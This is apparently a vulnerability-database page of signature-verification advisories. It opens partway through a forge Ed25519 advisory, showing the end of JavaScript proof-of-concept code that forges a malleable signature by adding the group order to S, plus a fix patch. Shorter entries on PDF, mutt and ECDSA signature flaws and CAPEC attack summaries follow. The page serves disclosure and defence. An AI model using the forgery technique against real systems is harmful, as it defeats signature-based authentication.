KEY-----\\n`;\n}\n\nfunction verifyWithCrypto(publicKey, message, signature) {\n  try {\n    const keyObject = crypto.createPublicKey(toSpkiPem(publicKey));\n    const ok = crypto.verify(null, message, keyObject, signature);\n    return { ok };\n  } catch (error) {\n    return { ok: false, error: error.message };\n  }\n}\n\nfunction toResult(label, original, tweaked) {\n  return {\n    [label]: {\n      original_valid: original.ok,\n      tweaked_valid: tweaked.ok,\n    },\n  };\n}\n\nfunction main() {\n  const kp = ed.generateKeyPair();\n  const sig = ed.sign({ message: MESSAGE, privateKey: kp.privateKey });\n  const ok = ed.verify({ message: MESSAGE, signature: sig, publicKey: kp.publicKey });\n  const tweaked = addLToS(sig);\n  const okTweaked = ed.verify({\n    message: MESSAGE,\n    signature: tweaked.sig,\n    publicKey: kp.publicKey,\n  });\n  const cryptoOriginal = verifyWithCrypto(kp.publicKey, MESSAGE, sig);\n  const cryptoTweaked = verifyWithCrypto(kp.publicKey, MESSAGE, tweaked.sig);\n  const result = {\n    ...toResult(\u0027forge\u0027, { ok }, { ok: okTweaked }),\n    ...toResult(\u0027crypto\u0027, cryptoOriginal, cryptoTweaked),\n  };\n  console.log(JSON.stringify(result, null, 2));\n}\n\nmain();\n```\n\u003c/details\u003e\n\n## Suggested Patch\nAdd strict canonical scalar validation in Ed25519 verify path before scalar multiplication. (Parse S as little-endian 32-byte integer and reject if `S \u003e= L`).\n\nHere is a patch we tested on our end to resolve the issue, though please verify it on your end:\n\n```diff\nindex f3e6faa..87eb709 100644\n--- a/lib/ed25519.js\n+++ b/lib/ed25519.js\n@@ -380,6 +380,10 @@ function crypto_sign_open(m, sm, n, pk) {\n     return -1;\n   }\n\n+  if(!_isCanonicalSignatureScalar(sm, 32)) {\n+    return -1;\n+  }\n+\n   for(i = 0; i \u003c n; ++i) {\n     m[i] = sm[i];\n   }\n@@ -409,6 +413,21 @@ function crypto_sign_open(m, sm, n, pk) {\n   return mlen;\n }\n\n+function _isCanonicalSignatureScalar(bytes, offset) {\n+  var i;\n+  // Compare little-endian scalar S against group order L and require S \u003c L.\n+  for(i = 31; i \u003e= 0; --i) {\n+    if(bytes[offset + i] \u003c L[i]) {\n+      return true;\n+    }\n+    if(bytes[offset + i] \u003e L[i]) {\n+      return false;\n+    }\n+  }\n+  // S == L is non-canonical.\n+  return false;\n+}\n+\n function modL(r, x) {\n   var carry, i, j, k;\n   for(i = 63; i \u003e= 32; --i) {\n```\n\n## Resources\n\n- RFC 8032 (Ed25519): https://datatracker.ietf.org/doc/html/rfc8032#section-8.4\n  - \u003e Ed25519 and Ed448 signatures are not malleable due to the verification check that decoded S is smaller than l\n\n\n## Credit\n\nThis vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.",
  "id": "GHSA-q67f-28xg-22rw",
  "modified": "2026-03-27T21:51:06Z",
  "published": "2026-03-26T22:04:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-q67f-28xg-22rw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-35961"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25793"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33895"
    },
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/commit/bdecf11571c9f1a487cc0fe72fe78ff6dfa96b85"
    },
    {
      "type": "WEB",
      "url": "https://datatracker.ietf.org/doc/html/rfc8032#section-8.4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/digitalbazaar/forge"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Forge has signature forgery in Ed25519 due to missing S \u003e L check"
}

GHSA-Q966-HP9V-PW89

Vulnerability from github – Published: 2022-05-24 17:38 – Updated: 2022-05-24 17:38
VLAI
Details

The Portable Document Format (PDF) specification does not provide any information regarding the concrete procedure of how to validate signatures. Consequently, an Incremental Saving vulnerability exists in multiple products. When an attacker uses the Incremental Saving feature to add pages or annotations, Body Updates are displayed to the user without any action by the signature-validation logic. This affects Foxit Reader before 9.4 and PhantomPDF before 8.3.9 and 9.x before 9.4. It also affects LibreOffice, Master PDF Editor, Nitro Pro, Nitro Reader, Nuance Power PDF Standard, PDF Editor 6 Pro, PDFelement6 Pro, PDF Studio Viewer 2018, PDF Studio Pro, Perfect PDF 10 Premium, and Perfect PDF Reader.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-18688"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-01-07T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The Portable Document Format (PDF) specification does not provide any information regarding the concrete procedure of how to validate signatures. Consequently, an Incremental Saving vulnerability exists in multiple products. When an attacker uses the Incremental Saving feature to add pages or annotations, Body Updates are displayed to the user without any action by the signature-validation logic. This affects Foxit Reader before 9.4 and PhantomPDF before 8.3.9 and 9.x before 9.4. It also affects LibreOffice, Master PDF Editor, Nitro Pro, Nitro Reader, Nuance Power PDF Standard, PDF Editor 6 Pro, PDFelement6 Pro, PDF Studio Viewer 2018, PDF Studio Pro, Perfect PDF 10 Premium, and Perfect PDF Reader.",
  "id": "GHSA-q966-hp9v-pw89",
  "modified": "2022-05-24T17:38:08Z",
  "published": "2022-05-24T17:38:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-18688"
    },
    {
      "type": "WEB",
      "url": "https://pdf-insecurity.org/signature/evaluation_2018.html"
    },
    {
      "type": "WEB",
      "url": "https://pdf-insecurity.org/signature/signature.html"
    },
    {
      "type": "WEB",
      "url": "https://www.foxitsoftware.com/support/security-bulletins.php"
    },
    {
      "type": "WEB",
      "url": "https://www.pdfa.org/recently-identified-pdf-digital-signature-vulnerabilities"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-Q998-8JFF-X3RG

Vulnerability from github – Published: 2024-11-12 03:30 – Updated: 2026-06-26 03:31
VLAI
Details

In mutt and neomutt the In-Reply-To email header field is not protected by cryptographic signing which allows an attacker to reuse an unencrypted but signed email message to impersonate the original sender.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-49394"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-12T03:15:03Z",
    "severity": "MODERATE"
  },
  "details": "In mutt and neomutt the In-Reply-To email header field is not protected by cryptographic signing which allows an attacker to reuse an unencrypted but signed email message to impersonate the original sender.",
  "id": "GHSA-q998-8jff-x3rg",
  "modified": "2026-06-26T03:31:24Z",
  "published": "2024-11-12T03:30:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-49394"
    },
    {
      "type": "WEB",
      "url": "https://github.com/neomutt/neomutt/issues/4226"
    },
    {
      "type": "WEB",
      "url": "https://github.com/neomutt/neomutt/pull/4221"
    },
    {
      "type": "WEB",
      "url": "https://github.com/neomutt/neomutt/pull/4227"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2024-49394"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2325330"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q9Q6-F556-GPM7

Vulnerability from github – Published: 2021-11-10 20:58 – Updated: 2021-11-15 14:44
VLAI
Summary
Improper Verification of Cryptographic Signature in starkbank-ecdsa
Details

The verify function in the Stark Bank Node.js ECDSA library (ecdsa-node) 1.1.2 fails to check that the signature is non-zero, which allows attackers to forge signatures on arbitrary messages.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "starkbank-ecdsa"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-43571"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-11-10T18:27:14Z",
    "nvd_published_at": "2021-11-09T22:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "The verify function in the Stark Bank Node.js ECDSA library (ecdsa-node) 1.1.2 fails to check that the signature is non-zero, which allows attackers to forge signatures on arbitrary messages.",
  "id": "GHSA-q9q6-f556-gpm7",
  "modified": "2021-11-15T14:44:13Z",
  "published": "2021-11-10T20:58:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-43571"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/starkbank/ecdsa-node"
    },
    {
      "type": "WEB",
      "url": "https://github.com/starkbank/ecdsa-node/releases/tag/v1.1.3"
    },
    {
      "type": "WEB",
      "url": "https://research.nccgroup.com/2021/11/08/technical-advisory-arbitrary-signature-forgery-in-stark-bank-ecdsa-libraries"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Improper Verification of Cryptographic Signature in starkbank-ecdsa"
}

No mitigation information available for this CWE.

CAPEC-463: Padding Oracle Crypto Attack

An adversary is able to efficiently decrypt data without knowing the decryption key if a target system leaks data on whether or not a padding error happened while decrypting the ciphertext. A target system that leaks this type of information becomes the padding oracle and an adversary is able to make use of that oracle to efficiently decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block). In addition to performing decryption, an adversary is also able to produce valid ciphertexts (i.e., perform encryption) by using the padding oracle, all without knowing the encryption key.

CAPEC-475: Signature Spoofing by Improper Validation

An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.